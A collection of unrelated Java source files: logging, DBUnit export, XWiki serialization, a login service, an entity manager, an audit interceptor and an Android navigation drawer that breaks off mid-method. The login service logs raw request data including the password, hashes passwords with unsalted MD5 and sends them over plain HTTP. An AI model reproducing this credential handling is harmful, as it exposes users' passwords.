logger.error(pMessage, pArgs);
}
}
/**
* @see com.diamondq.common.utils.context.spi.ContextHandler#executeOnContextReportError(com.diamondq.common.utils.context.spi.ContextClass,
* java.lang.String, java.lang.Throwable)
*/
@Override
public void executeOnContextReportError(ContextClass pContext, @Nullable String pMessage, Throwable pThrowable) {
Logger logger = mLoggerMap.get(pContext.startClass);
if (logger == null) {
Logger newLogger = LoggerFactory.getLogger(pContext.startClass);
if ((logger = mLoggerMap.putIfAbsent(pContext.startClass, newLogger)) == null)
logger = newLogger;
}
if (logger.isErrorEnabled()) {
logger.error(pMessage, pThrowable);
}
}
}
|
package org.demyo.service;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
import javax.sql.DataSource;
import org.dbunit.database.DatabaseConnection;
import org.dbunit.database.IDatabaseConnection;
import org.dbunit.database.QueryDataSet;
import org.dbunit.dataset.xml.FlatXmlDataSet;
import org.junit.Ignore;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.io.ClassPathResource;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.TransactionStatus;
import org.springframework.transaction.support.TransactionCallback;
import org.springframework.transaction.support.TransactionTemplate;
import org.demyo.common.exception.DemyoException;
import org.demyo.service.impl.AbstractServiceTest;
/**
* Utility class to import a demyo XML file and export it to the dbunit test XML.
* <p>
* Not actually meant to be run as a JUnit test in CI.
* </p>
*/
@Ignore("This is just an utility class") // Comment this to launch this utility
public class DBUnitExtractor extends AbstractServiceTest {
@Autowired
private IImportService importService;
@Autowired
private DataSource jdbcConnection;
@Autowired
private PlatformTransactionManager txMgr;
@Test
public void importXmlAndExportDBUnit() throws Exception {
// Manage transaction manually to be able to read directly afterwards
TransactionTemplate transactionTemplate = new TransactionTemplate(txMgr);
transactionTemplate.execute(new TransactionCallback<Void>() {
@Override
public Void doInTransaction(TransactionStatus status) {
try (InputStream is = new ClassPathResource("/org/demyo/test/demyo-sample-import.xml")
.getInputStream()) {
importService.importFile("demyo.xml", is);
} catch (IOException | DemyoException e) {
throw new RuntimeException(e);
}
return null;
}
});
// Gather data set
IDatabaseConnection connection = new DatabaseConnection(jdbcConnection.getConnection());
QueryDataSet fullDataSet = new QueryDataSet(connection);
// The order of this list is important: DBUnit will keep the same and may fail if foreign keys are missing
for (String table : new String[] { "IMAGES", "PUBLISHERS", "COLLECTIONS", "AUTHORS", "SERIES",
"SERIES_RELATIONS", "TAGS", "BINDINGS", "ALBUMS", "ALBUMS_PRICES", "ALBUMS_IMAGES", "ALBUMS_ARTISTS",
"ALBUMS_WRITERS", "ALBUMS_COLORISTS", "ALBUMS_INKERS", "ALBUMS_TRANSLATORS", "ALBUMS_TAGS", "SOURCES",
"DERIVATIVE_TYPES", "DERIVATIVES", "DERIVATIVES_PRICES", "DERIVATIVES_IMAGES", "READERS",
"READERS_FAVOURITE_SERIES", "READERS_FAVOURITE_ALBUMS", "READERS_READING_LIST", "CONFIGURATION" }) {
fullDataSet.addTable(table);
}
// Write to src/test
File output = new File("../demyo-test/src/main/resources/org/demyo/test/demyo-dbunit-standard.xml");
// Note that we can't have emojis in the test database. DBUnit uses the same code internally that caused issue
try (FileWriter writer = new FileWriter(output)) {
FlatXmlDataSet.write(fullDataSet, writer, StandardCharsets.UTF_8.name());
}
}
}
|
package com.xpn.xwiki.internal.observation.remote.converter;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
import org.xwiki.bridge.DocumentName;
import org.xwiki.component.annotation.Requirement;
import org.xwiki.context.Execution;
import org.xwiki.observation.remote.converter.AbstractEventConverter;
import com.xpn.xwiki.XWikiContext;
import com.xpn.xwiki.doc.LazyXWikiDocument;
import com.xpn.xwiki.doc.XWikiDocument;
/**
* Provide some serialization tools for old apis like {@link XWikiDocument} and {@link XWikiContext}.
*
* @version $Id$
* @since 2.0RC1
*/
public abstract class AbstractXWikiEventConverter extends AbstractEventConverter
{
private static final String CONTEXT_WIKI = "contextwiki";
private static final String CONTEXT_USER = "contextuser";
private static final String DOC_NAME = "docname";
private static final String DOC_VERSION = "docversion";
private static final String DOC_LANGUAGE = "doclanguage";
private static final String ORIGDOC_VERSION = "origdocversion";
private static final String ORIGDOC_LANGUAGE = "origdoclanguage";
/**
* Used to set some proper context informations.
*/
@Requirement
private Execution execution;
/**
* @param context the XWiki context to serialize
* @return the serialized version of the context
*/
protected Serializable serializeXWikiContext(XWikiContext context)
{
HashMap<String, Serializable> remoteDataMap = new HashMap<String, Serializable>();
remoteDataMap.put(CONTEXT_WIKI, context.getDatabase());
remoteDataMap.put(CONTEXT_USER, context.getUser());
return remoteDataMap;
}
/**
* @param remoteData the serialized version of the context
* @return the XWiki context
*/
protected XWikiContext unserializeXWikiContext(Serializable remoteData)
{
Map<String, Serializable> remoteDataMap = (Map<String, Serializable>) remoteData;
XWikiContext context = (XWikiContext) this.execution.getContext().getProperty("xwikicontext");
context.setDatabase((String) remoteDataMap.get(CONTEXT_WIKI));
context.setUser((String) remoteDataMap.get(CONTEXT_USER));
return context;
}
/**
* @param document the document to serialize
* @return the serialized version of the document
*/
protected Serializable serializeXWikiDocument(XWikiDocument document)
{
HashMap<String, Serializable> remoteDataMap = new HashMap<String, Serializable>();
remoteDataMap.put(DOC_NAME, new DocumentName(document.getWikiName(), document.getSpaceName(),
document.getPageName()));
if (!document.isNew()) {
remoteDataMap.put(DOC_VERSION, document.getVersion());
remoteDataMap.put(DOC_LANGUAGE, document.getLanguage());
}
XWikiDocument originalDocument = document.getOriginalDocument();
if (originalDocument != null && !originalDocument.isNew()) {
remoteDataMap.put(ORIGDOC_VERSION, originalDocument.getVersion());
remoteDataMap.put(ORIGDOC_LANGUAGE, originalDocument.getLanguage());
}
return remoteDataMap;
}
/**
* @param remoteData the serialized version of the document
* @return the document
*/
protected XWikiDocument unserializeDocument(Serializable remoteData)
{
Map<String, Serializable> remoteDataMap = (Map<String, Serializable>) remoteData;
DocumentName docName = (DocumentName) remoteDataMap.get(DOC_NAME);
XWikiDocument doc;
if (remoteDataMap.get(DOC_VERSION) == null) {
doc = new XWikiDocument(docName.getWiki(), docName.getSpace(), docName.getPage());
} else {
doc = new LazyXWikiDocument();
doc.setDatabase(docName.getWiki());
doc.setSpace(docName.getSpace());
doc.setName(docName.getPage());
doc.setLanguage((String) remoteDataMap.get(DOC_LANGUAGE));
doc.setVersion((String) remoteDataMap.get(DOC_VERSION));
}
XWikiDocument origDoc;
if (remoteDataMap.get(ORIGDOC_VERSION) == null) {
origDoc = new XWikiDocument(docName.getWiki(), docName.getSpace(), docName.getPage());
} else {
origDoc = new LazyXWikiDocument();
origDoc.setDatabase(docName.getWiki());
origDoc.setSpace(docName.getSpace());
origDoc.setName(docName.getPage());
origDoc.setLanguage((String) remoteDataMap.get(ORIGDOC_LANGUAGE));
origDoc.setVersion((String) remoteDataMap.get(ORIGDOC_VERSION));
}
doc.setOriginalDocument(origDoc);
return doc;
}
}
|
package com.java110.app.smo.propertyLogin.impl.wxLogin.impl;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.java110.app.properties.WechatAuthProperties;
import com.java110.app.smo.AppAbstractComponentSMO;
import com.java110.app.smo.propertyLogin.impl.wxLogin.IPropertyAppLoginSMO;
import com.java110.core.context.IPageData;
import com.java110.core.context.PageData;
import com.java110.core.factory.AuthenticationFactory;
import com.java110.utils.cache.MappingCache;
import com.java110.utils.constant.CommonConstant;
import com.java110.utils.constant.MappingConstant;
import com.java110.utils.constant.ServiceConstant;
import com.java110.utils.exception.SMOException;
import com.java110.utils.util.Assert;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Service;
import org.springframework.web.client.RestTemplate;
import java.util.HashMap;
import java.util.Map;
@Service("propertyAppLoginSMOImpl")
public class PropertyAppLoginSMOImpl extends AppAbstractComponentSMO implements IPropertyAppLoginSMO {
private final static Logger logger = LoggerFactory.getLogger(PropertyAppLoginSMOImpl.class);
@Autowired
private RestTemplate restTemplate;
@Override
public ResponseEntity<String> doLogin(IPageData pd) throws SMOException {
return businessProcess(pd);
}
@Override
protected void validate(IPageData pd, JSONObject paramIn) {
//super.validatePageInfo(pd);
Assert.hasKeyAndValue(paramIn, "name", "");
Assert.hasKeyAndValue(paramIn, "password", "");
//super.checkUserHasPrivilege(pd, restTemplate, PrivilegeCodeConstant.LIST_ORG);
}
@Override
protected ResponseEntity<String> doBusinessProcess(IPageData pd, JSONObject paramIn) {
logger.debug("doLogin" + paramIn.toJSONString());
ResponseEntity<String> responseEntity;
JSONObject loginInfo = JSONObject.parseObject(pd.getReqData());
loginInfo.put("passwd", AuthenticationFactory.passwdMd5(loginInfo.getString("passwd")));
responseEntity = this.callCenterService(restTemplate,pd,loginInfo.toJSONString(), "http://api.java110.com:8008/api/user.service.login",HttpMethod.POST);
if(responseEntity.getStatusCode() != HttpStatus.OK){
return responseEntity;
}
JSONObject userInfo = JSONObject.parseObject(responseEntity.getBody());
String userId = userInfo.getString("userId");
pd = PageData.newInstance().builder(userId, "","", pd.getReqData(),
"", "", "", "",
pd.getAppId());
responseEntity = super.getStoreInfo(pd, restTemplate);
if(responseEntity.getStatusCode() != HttpStatus.OK){
return responseEntity;
}
JSONObject storeInfo = JSONObject.parseObject(responseEntity.getBody().toString());
Assert.jsonObjectHaveKey(storeInfo, "storeId", "");
Assert.jsonObjectHaveKey(storeInfo, "storeTypeCd", "");
userInfo.put("storeId",storeInfo.getString("storeId"));
userInfo.put("storeTypeCd",storeInfo.getString("storeTypeCd"));
JSONObject paramOut = new JSONObject();
paramOut.put("result", 0);
paramOut.put("userInfo", userInfo);
paramOut.put("token", userInfo.getString("token"));
pd.setToken(JSONObject.parseObject(responseEntity.getBody()).getString("token"));
return responseEntity;
}
public RestTemplate getRestTemplate() {
return restTemplate;
}
public void setRestTemplate(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
}
|
package net.sourceforge.javydreamercsw.client.ui.tool;
import com.validation.manager.core.api.entity.manager.VMEntityManager;
import com.validation.manager.core.db.Project;
import com.validation.manager.core.db.RequirementSpec;
import com.validation.manager.core.server.core.ProjectServer;
import com.validation.manager.core.server.core.RequirementSpecServer;
import java.awt.event.ActionEvent;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.AbstractAction;
import org.netbeans.api.progress.ProgressHandle;
import org.netbeans.api.progress.ProgressHandleFactory;
import org.openide.util.Cancellable;
import org.openide.util.Lookup;
import org.openide.util.LookupEvent;
import org.openide.util.LookupListener;
import org.openide.util.RequestProcessor;
import org.openide.util.TaskListener;
import org.openide.util.Utilities;
import org.openide.util.lookup.ServiceProvider;
/**
*
* @author Javier A. Ortiz Bultron <javier.ortiz.78@gmail.com>
*/
@ServiceProvider(service = VMEntityManager.class)
public class RequirementSpecEntityManager implements
VMEntityManager<RequirementSpec>, LookupListener {
private Map<Integer, RequirementSpec> map = new TreeMap<>();
private Lookup.Result<Project> result = null;
private static final Logger LOG
= Logger.getLogger(RequirementSpecEntityManager.class.getSimpleName());
private Project current;
public RequirementSpecEntityManager() {
result = Utilities.actionsGlobalContext().lookupResult(Project.class);
result.allItems();
result.addLookupListener(RequirementSpecEntityManager.this);
}
@Override
public boolean supportEntity(Class entity) {
return entity.equals(RequirementSpec.class)
|| entity.isInstance(RequirementSpec.class);
}
@Override
public void updateEntity(RequirementSpec entity) {
if (map.containsKey(entity.getRequirementSpecPK().getId())) {
RequirementSpecServer rs = new RequirementSpecServer(entity);
rs.update();
map.put(entity.getRequirementSpecPK().getId(), rs.getEntity());
}
}
@Override
public void removeEntity(RequirementSpec entity) {
if (map.containsKey(entity.getRequirementSpecPK().getId())) {
map.remove(entity.getRequirementSpecPK().getId());
}
}
@Override
public Collection<RequirementSpec> getEntities() {
List<RequirementSpec> entities = new ArrayList<>();
for (Map.Entry<Integer, RequirementSpec> entry : map.entrySet()) {
entities.add(entry.getValue());
}
return entities;
}
@Override
public void addEntity(RequirementSpec entity) {
if (!map.containsKey(entity.getRequirementSpecPK().getId())) {
RequirementSpecServer rs = new RequirementSpecServer(entity);
rs.update();
map.put(entity.getRequirementSpecPK().getId(), rs.getEntity());
}
}
@Override
public RequirementSpec getEntity(Object entity) {
assert entity instanceof Integer : "Invalid parameter!";
return map.get((Integer) entity);
}
@Override
public void resultChanged(LookupEvent le) {
Lookup.Result res = (Lookup.Result) le.getSource();
Collection instances = res.allInstances();
if (!instances.isEmpty()) {
Iterator it = instances.iterator();
while (it.hasNext()) {
Object item = it.next();
if (item instanceof Project) {
Project p = (Project) item;
//Only change when the root project changes.
if (p != current && p.getParentProjectId() == null) {
current = p;
new RequirementSpecPopulatorAction().actionPerformed(null);
}
}
}
}
}
public class RequirementSpecPopulatorAction extends AbstractAction {
private final RequestProcessor RP
= new RequestProcessor("Requirement Spec Populator", 1, true);
private RequestProcessor.Task theTask = null;
private ProgressHandle ph;
@Override
public void actionPerformed(ActionEvent e) {
java.awt.EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
ph = ProgressHandleFactory.createHandle("Requirement Spec Populator",
new Cancellable() {
@Override
public boolean cancel() {
return handleCancel();
}
});
Runnable runnable = new Runnable() {
@Override
public void run() {
LOG.log(Level.FINE,
"Populating Specs for project: {0}",
current.getName());
map.clear();
ProjectServer ps = new ProjectServer(current);
List<RequirementSpec> specs = ps.getRequirementSpecList();
for (Project child : ps.getChildren()) {
specs.addAll(child.getRequirementSpecList());
}
for (RequirementSpec spec : specs) {
map.put(spec.getRequirementSpecPK().getId(), spec);
}
}
};
theTask = RP.create(runnable); //the task is not started yet
theTask.addTaskListener(new TaskListener() {
public void taskFinished(RequestProcessor.Task task) {
ph.finish();
LOG.log(Level.FINE,
"Populating requirement specs for project: {0} done!",
current.getName());
}
@Override
public void taskFinished(org.openide.util.Task task) {
ph.finish();
LOG.log(Level.FINE,
"Populating requirement specs for project: {0} done!",
current.getName());
}
});
//start the progresshandle the progress UI will show 500s after
ph.start();
//this actually start the task
theTask.schedule(0);
}
});
}
private boolean handleCancel() {
LOG.info("handleCancel");
if (null == theTask) {
return false;
}
return theTask.cancel();
}
}
}
|
package modules;
import modules.admin.domain.Audit;
import modules.admin.domain.Audit.Operation;
import modules.admin.domain.UserLoginRecord;
import java.util.HashMap;
import java.util.Map;
import org.skyve.CORE;
import org.skyve.domain.Bean;
import org.skyve.domain.PersistentBean;
import org.skyve.domain.types.OptimisticLock;
import org.skyve.domain.types.Timestamp;
import org.skyve.impl.persistence.hibernate.AbstractHibernatePersistence;
import org.skyve.metadata.controller.Interceptor;
import org.skyve.metadata.customer.Customer;
import org.skyve.metadata.model.document.Document;
import org.skyve.metadata.module.Module;
import org.skyve.metadata.user.User;
import org.skyve.persistence.Persistence;
import org.skyve.persistence.SQL;
public class RDBMSAuditInterceptor extends Interceptor {
private static final long serialVersionUID = 8133933539853560711L;
private static final ThreadLocal<Map<String, Operation>> BIZ_ID_TO_OPERATION = new ThreadLocal<>();
@Override
public boolean beforeSave(Document document, PersistentBean bean) throws Exception {
if (! (UserLoginRecord.DOCUMENT_NAME.equals(document.getName()) &&
UserLoginRecord.MODULE_NAME.equals(document.getOwningModuleName()))) {
if (bean.isPersisted()) {
ensureOriginalInsertAuditExists(bean);
setThreadLocalOperation(bean.getBizId(), Operation.update);
}
else {
setThreadLocalOperation(bean.getBizId(), Operation.insert);
}
}
return false;
}
@Override
public void afterSave(Document document, final PersistentBean result) throws Exception {
Operation operation = getThreadLocalOperation(result.getBizId());
if (operation != null) {
audit(result, operation, false);
}
removeThreadLocalOperation(result.getBizId());
}
@Override
public void afterDelete(Document document, PersistentBean bean) throws Exception {
if (bean instanceof Audit){
// do not audit removal of audits
}
else {
audit(bean, Operation.delete, false);
}
}
// Ensure an insert audit either exists already or is inserted
private static void ensureOriginalInsertAuditExists(PersistentBean bean) throws Exception {
Persistence p = CORE.getPersistence();
Customer c = p.getUser().getCustomer();
// check to see if an audit is required
Module am = c.getModule(bean.getBizModule());
Document ad = am.getDocument(c, bean.getBizDocument());
if (ad.isAudited()) {
// Check if there exists an insert audit record.
Module m = c.getModule(Audit.MODULE_NAME);
String persistentIdentifier = m.getDocument(c, Audit.DOCUMENT_NAME).getPersistent().getPersistentIdentifier();
SQL q = p.newSQL(String.format("select %s from %s where %s = :%s and %s = :%s and %s = :%s",
Bean.DOCUMENT_ID,
persistentIdentifier,
Audit.auditBizIdPropertyName,
Audit.auditBizIdPropertyName,
Bean.CUSTOMER_NAME,
Bean.CUSTOMER_NAME,
Audit.operationPropertyName,
Audit.operationPropertyName));
q.putParameter(Audit.auditBizIdPropertyName, bean.getBizId(), false);
q.putParameter(Bean.CUSTOMER_NAME, c.getName(), false);
q.putParameter(Audit.operationPropertyName, Operation.insert);
// if not we need to create one
if (q.scalarResults(String.class).isEmpty()) {
// To do this we need to get the database state before this update operation
// We can do this by getting a new persistence and loading the record,
// getting the JSON for it and then inserting it in our current thread's persistence.
AbstractHibernatePersistence tempP = (AbstractHibernatePersistence) p.getClass().newInstance();
try {
tempP.setUser(p.getUser());
PersistentBean oldBean = tempP.retrieve(bean.getBizModule(), bean.getBizDocument(), bean.getBizId(), false);
// oldBean can be null when the bean was inserted and updated within this transaction but not yet committed
// ie tempP can't see the bean yet on another DB connection
if (oldBean == null) {
audit(bean, Operation.insert, true);
}
else {
audit(oldBean, Operation.insert, true);
}
}
finally {
// Can't call tempP.commit(true) here as it would remove the current thread's Persistence as well
tempP.getEntityManager().close();
}
}
}
}
private static void audit(PersistentBean bean, Operation operation, boolean originalInsert)
throws Exception {
Persistence p = CORE.getPersistence();
User u = p.getUser();
Customer c = u.getCustomer();
// check to see if an audit is required
Module am = c.getModule(bean.getBizModule());
Document ad = am.getDocument(c, bean.getBizDocument());
if (ad.isAudited()) {
Audit a = Audit.newInstance();
AuditJSONGenerator generator = new AuditJSONGenerator(c);
generator.visit(ad, bean, c);
a.setAuditDetail(generator.toJSON());
a.setAuditModuleName(bean.getBizModule());
a.setAuditDocumentName(bean.getBizDocument());
a.setAuditBizId(bean.getBizId());
a.setAuditBizKey(bean.getBizKey());
if (originalInsert) {
OptimisticLock lock = bean.getBizLock();
long millis = lock.getTimestamp().getTime();
a.setMillis(Long.valueOf(millis));
a.setTimestamp(new Timestamp(millis));
a.setUserName(lock.getUsername());
a.setOperation(Operation.insert);
}
else {
long millis = System.currentTimeMillis();
a.setMillis(Long.valueOf(millis));
a.setTimestamp(new Timestamp(millis));
a.setUserName(u.getName());
a.setOperation(operation);
}
p.upsertBeanTuple(a);
}
}
public static void audit(PersistentBean bean, Operation operation)
throws Exception {
ensureOriginalInsertAuditExists(bean);
audit(bean, operation, false);
}
private static void setThreadLocalOperation(String bizId, Operation operation) {
Map<String, Operation> map = BIZ_ID_TO_OPERATION.get();
if (map == null) {
map = new HashMap<>();
BIZ_ID_TO_OPERATION.set(map);
}
map.put(bizId, operation);
}
private static Operation getThreadLocalOperation(String bizId) {
Map<String, Operation> map = BIZ_ID_TO_OPERATION.get();
return (map == null) ? null : map.get(bizId);
}
private static void removeThreadLocalOperation(String bizId) {
Map<String, Operation> map = BIZ_ID_TO_OPERATION.get();
if (map != null) {
map.remove(bizId);
if (map.isEmpty()) {
BIZ_ID_TO_OPERATION.remove();
}
}
}
}
|
package it.neokree.materialnavigationdrawer;
import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.annotation.SuppressLint;
import android.app.FragmentTransaction;
import android.content.Intent;
import android.content.res.Configuration;
import android.content.res.Resources;
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.Color;
import android.graphics.Point;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Bundle;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.app.ActionBar;
import android.support.v7.app.ActionBarActivity;
import android.support.v7.app.ActionBarDrawerToggle;
import android.support.v7.widget.Toolbar;
import android.util.TypedValue;
import android.view.Display;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewTreeObserver;
import android.view.Window;
import android.view.WindowManager;
import android.view.animation.DecelerateInterpolator;
import android.widget.ImageButton;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import it.neokree.materialnavigationdrawer.elements.MaterialAccount;
import it.neokree.materialnavigationdrawer.elements.MaterialSection;
import it.neokree.materialnavigationdrawer.elements.MaterialSubheader;
import it.neokree.materialnavigationdrawer.elements.listeners.MaterialAccountListener;
import it.neokree.materialnavigationdrawer.elements.listeners.MaterialSectionListener;
import it.neokree.materialnavigationdrawer.util.MaterialDrawerLayout;
import it.neokree.materialnavigationdrawer.util.TypefaceManager;
import it.neokree.materialnavigationdrawer.util.Utils;
@SuppressWarnings("unused")
@SuppressLint("InflateParams")
public abstract class MaterialNavigationDrawer<Fragment> extends ActionBarActivity implements MaterialSectionListener,MaterialAccount.OnAccountDataLoaded {
public static final int BOTTOM_SECTION_START = 10000;
private static final int USER_CHANGE_TRANSITION = 500;
public static final int BACKPATTERN_BACK_ANYWHERE = 0;
public static final int BACKPATTERN_BACK_TO_FIRST = 1;
public static final int BACKPATTERN_CUSTOM = 2;
private static final int DRAWERHEADER_ACCOUNTS = 0;
private static final int DRAWERHEADER_IMAGE = 1;
private static final int DRAWERHEADER_CUSTOM = 2;
private static final int DRAWERHEADER_NO_HEADER = 3;
private static final int ELEMENT_TYPE_SECTION = 0;
private static final int ELEMENT_TYPE_DIVISOR = 1;
private static final int ELEMENT_TYPE_SUBHEADER = 2;
private static final int ELEMENT_TYPE_BOTTOM_SECTION = 3;
private static final String STATE_SECTION = "section";
private static final String STATE_ACCOUNT = "account";
private MaterialDrawerLayout layout;
private ActionBar actionBar;
private ActionBarDrawerToggle pulsante;
private ImageView statusBar;
private Toolbar toolbar;
private RelativeLayout content;
private RelativeLayout drawer;
private ImageView userphoto;
private ImageView userSecondPhoto;
private ImageView userThirdPhoto;
private ImageView usercover;
private ImageView usercoverSwitcher;
private TextView username;
private TextView usermail;
private ImageButton userButtonSwitcher;
private LinearLayout customDrawerHeader;
private LinearLayout sections;
private LinearLayout bottomSections;
// Lists
private List<MaterialSection> sectionList;
private List<MaterialSection> bottomSectionList;
private List<MaterialAccount> accountManager;
private List<MaterialSection> accountSectionList;
private List<MaterialSubheader> subheaderList;
private List<Integer> elementsList;
private List<Fragment> childFragmentStack;
private List<String> childTitleStack;
// current pointers
private MaterialSection currentSection;
private MaterialAccount currentAccount;
private CharSequence title;
private float density;
private int primaryColor;
private int primaryDarkColor;
private int drawerColor;
private boolean drawerTouchLocked = false;
private boolean slidingDrawerEffect = false;
private boolean multiPaneSupport;
private boolean rippleSupport;
private boolean uniqueToolbarColor;
private boolean singleAccount;
private boolean accountSwitcher = false;
private boolean isCurrentFragmentChild = false;
private boolean kitkatTraslucentStatusbar = false;
private static boolean learningPattern = true;
private int backPattern = BACKPATTERN_BACK_ANYWHERE;
private int drawerHeaderType;
// resources
private Resources resources;
private TypefaceManager fontManager;
private View.OnClickListener currentAccountListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
if(!drawerTouchLocked) {
// enter into account properties
if (accountListener != null) {
accountListener.onAccountOpening(currentAccount);
}
// close drawer
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
}
};
private View.OnClickListener secondAccountListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
if(!drawerTouchLocked) {
// account change
MaterialAccount account = findAccountNumber(MaterialAccount.SECOND_ACCOUNT);
if (account != null) {
if (accountListener != null)
accountListener.onChangeAccount(account);
switchAccounts(account);
} else {// if there is no second account user clicked for open it
if(accountListener != null)
accountListener.onAccountOpening(currentAccount);
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
}
}
};
private View.OnClickListener thirdAccountListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
if(!drawerTouchLocked) {
// account change
MaterialAccount account = findAccountNumber(MaterialAccount.THIRD_ACCOUNT);
if (account != null) {
if (accountListener != null)
accountListener.onChangeAccount(account);
switchAccounts(account);
} else {// if there is no second account user clicked for open it
if(accountListener != null)
accountListener.onAccountOpening(currentAccount);
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
}
}
};
private View.OnClickListener accountSwitcherListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
if(!drawerTouchLocked) {
// si rimuovono le viste
sections.removeAllViews();
bottomSections.removeAllViews();
if (!accountSwitcher) {
// si cambia l'icona del pulsante
userButtonSwitcher.setImageResource(R.drawable.ic_arrow_drop_up_white_24dp);
for (MaterialAccount account : accountManager) {
// si inseriscono tutti gli account ma non quello attualmente in uso
if(account.getAccountNumber() != MaterialAccount.FIRST_ACCOUNT) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (56 * density));
sections.addView(account.getSectionView(MaterialNavigationDrawer.this, fontManager.getRobotoMedium(),defaultSectionListener,rippleSupport,account.getAccountNumber()),params);
}
}
for (MaterialSection section : accountSectionList) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
sections.addView(section.getView(), params);
}
accountSwitcher = true; // si attiva l'account switcher per annotare che si visualizzano gli account.
} else {
userButtonSwitcher.setImageResource(R.drawable.ic_arrow_drop_down_white_24dp);
int indexSection = 0 ,indexSubheader = 0;
for(int type : elementsList) {
switch(type) {
case ELEMENT_TYPE_SECTION:
MaterialSection section = sectionList.get(indexSection);
indexSection++;
LinearLayout.LayoutParams paramSection = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
sections.addView(section.getView(), paramSection);
break;
case ELEMENT_TYPE_DIVISOR:
View view = new View(MaterialNavigationDrawer.this);
view.setBackgroundColor(Color.parseColor("#e0e0e0"));
// height 1 px
LinearLayout.LayoutParams paramDivisor = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
paramDivisor.setMargins(0,(int) (8 * density), 0 , (int) (8 * density));
sections.addView(view,paramDivisor);
break;
case ELEMENT_TYPE_SUBHEADER:
MaterialSubheader subheader = subheaderList.get(indexSubheader);
indexSubheader++;
sections.addView(subheader.getView());
break;
case ELEMENT_TYPE_BOTTOM_SECTION:
break; // le bottom section vengono gestite dopo l'inserimento degli altri elementi
}
}
int width = drawer.getWidth();
int heightCover;
switch (drawerHeaderType) {
default:
case DRAWERHEADER_ACCOUNTS:
case DRAWERHEADER_IMAGE:
case DRAWERHEADER_CUSTOM:
// si fa il rapporto in 16 : 9
heightCover = (9 * width) / 16;
break;
case DRAWERHEADER_NO_HEADER:
// height cover viene usato per prendere l'altezza della statusbar
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT || (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT && !kitkatTraslucentStatusbar)) {
heightCover = 0;
} else {
// su kitkat (con il traslucentstatusbar attivo) e su Lollipop e' 25 dp
heightCover = (int) (25 * density);
}
break;
}
int heightDrawer = (int) (( ( 8 + 8 + 1) * density ) + heightCover + sections.getHeight() + ((density * 48) * bottomSectionList.size()) + (subheaderList.size() * (35*density)));
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT || (Build.VERSION.SDK_INT == Build.VERSION_CODES.KITKAT && !kitkatTraslucentStatusbar)) {
heightDrawer += (density * 25);
}
View divisor = new View(MaterialNavigationDrawer.this);
divisor.setBackgroundColor(Color.parseColor("#e0e0e0"));
// si aggiungono le bottom sections
if (heightDrawer >= Utils.getScreenHeight(MaterialNavigationDrawer.this)) {
LinearLayout.LayoutParams paramDivisor = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
paramDivisor.setMargins(0,(int) (8 * density), 0 , (int) (8 * density));
sections.addView(divisor,paramDivisor);
for (MaterialSection section : bottomSectionList) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
sections.addView(section.getView(), params);
}
} else {
LinearLayout.LayoutParams paramDivisor = new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,1);
bottomSections.addView(divisor,paramDivisor);
for (MaterialSection section : bottomSectionList) {
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, (int) (48 * density));
bottomSections.addView(section.getView(), params);
}
}
accountSwitcher = false;
}
}
}
};
private MaterialSectionListener defaultSectionListener = new MaterialSectionListener() {
@Override
public void onClick(MaterialSection section) {
section.unSelect(); // remove the selected color
if(!drawerTouchLocked) {
int accountPosition = section.getPosition();
MaterialAccount account = findAccountNumber(accountPosition);
// switch accounts position
currentAccount.setAccountNumber(accountPosition);
account.setAccountNumber(MaterialAccount.FIRST_ACCOUNT);
currentAccount = account;
notifyAccountDataChanged();
// call change account method
if (accountListener != null)
accountListener.onChangeAccount(account);
// change account list
accountSwitcherListener.onClick(null);
// close drawer
if (!deviceSupportMultiPane())
layout.closeDrawer(drawer);
}
}
};
private View.OnClickListener toolbarToggleListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
if(isCurrentFragmentChild) {
onHomeAsUpSelected();
